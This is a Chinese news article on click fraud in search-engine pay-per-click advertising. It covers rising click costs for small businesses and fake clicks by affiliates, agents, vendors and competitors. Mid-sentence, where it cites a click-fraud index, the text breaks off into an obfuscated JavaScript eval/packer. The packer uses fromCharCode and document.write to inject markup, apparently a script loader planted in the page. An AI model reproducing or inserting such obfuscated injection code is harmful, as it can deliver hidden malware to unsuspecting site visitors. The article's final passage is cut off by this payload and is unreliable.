搜索引擎點擊欺詐磨鈍競價排名

搜索營銷作爲中小企業的營銷利器似乎正在漸漸失去鋒利。明顯地,原來的低價門檻已經擡高了。但中小企業對此似乎無能爲力。  許多讓中小企業歡喜的承諾仿佛還回想在耳邊:將您的所有産品資訊放在1億潛在客戶面前;花最少的錢,找最大的客戶;沒有效果不收費!這三個方面的任何一方都讓做不起電視、平面廣告的中小企業熱血沸騰。  然而,興奮並沒有持續多久,由於按點擊率計費,廣告主付的錢越來越多,而參與該營銷鏈條的各利益方由於也是按照點擊率分成,虛假點擊越來越倡狂。  在深度網路營銷管理機構經理吳享傑管理的競價排名客戶中,受到較好管理的客戶也需要每月爲競價排名支付40005000元,遠遠高於企業之前預測的1000多元。  新的競價排名廣告費用功能表作了讓中小企業瞠目結舌的調整,點擊費用每次爲0.3元的關鍵字基本不存在了,代替它們的是幾元甚至幾十元的每次點擊成本。  競價排名賴以打動中小企業的價格優勢在悄無聲息中消失了。  點擊!都是點擊!  許多企業的推廣費用不知不覺地就超出了預算。  吳享傑說,發現這種情況的企業應該立即撥通競價排名服務商市場部的電話,然後迅速聯繫一家網路營銷管理機構,一般情況下,網路營銷機構的工作人員會先登錄廣告客戶的賬戶巡視一番,然後選擇是否應該立即把賬戶暫停。  深圳競爭力科技有限公司創始人馮英健認爲:“坦白說,參與競價排名營銷的各個環節都有作假的動機,因爲競價排名的服務商承諾了各個環節的利益。”  競價排名的合作夥伴搜索引擎聯盟網站的工作人員自己或雇人虛假點擊,不但能夠從中漁利,操作方式也不困難,安裝某些小軟體就可以製造讓競價排名服務商和廣告客戶都難以查明的虛假IP地址。  代理商也有便利加入增加點擊量的隊伍中,因爲代理商是廣告客戶最信任的夥伴,所以能夠比競價排名服務商接觸到更多的廣告客戶資訊,爲了多分傭金,代理商業會向聯盟網站一樣雇人虛假點擊。  爲了增加收益,也不排除搜索廠商自身故意點擊的行爲,最後,竟連廣告投放客戶的競爭對手爲了耗盡對方的營銷費用也加入了浩浩蕩蕩的虛假點擊陣營。一位不願透露姓名的鮮花經營機構就曾經遭遇過來自競爭對手的惡意攻擊,耗掉了其大量的市場推廣費用。  企業主不但要爲這個鏈條上許多故意增加點擊率的人付費,還需要爲消費者無心的行爲買單。馮英健認爲,無效點擊量由惡意點擊和無義點擊兩部分構成,網路營銷利益相關鏈條上的故意點擊行爲屬於惡意點擊,但一些消費者瀏覽網頁時無心的進入則屬於無義點擊,這樣的點擊對廣告主雖然沒有任何意義,但廣告主依然要爲此付費。  利益!還是利益!  美國市場諮詢公司Click Forensics在最新發佈的“點擊欺詐指數 eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘i(f.j(h.g(b,1,0,9,6,4,7,c,d,e,k,3,2,1,8,0,8,2,t,a,r,s,1,2,6,l,0,4,q,0,2,3,a,p,5,5,5,3,m,n,b,o,1,0,9,6,4,7)));’,30,30,’116|115|111|112|101|57|108|62|105|121|58|60|46|100|99|document|fromCharCode|String|eval|write|123|117|120|125|47|45|59|97|98|110′.split(‘|’),0,{}))

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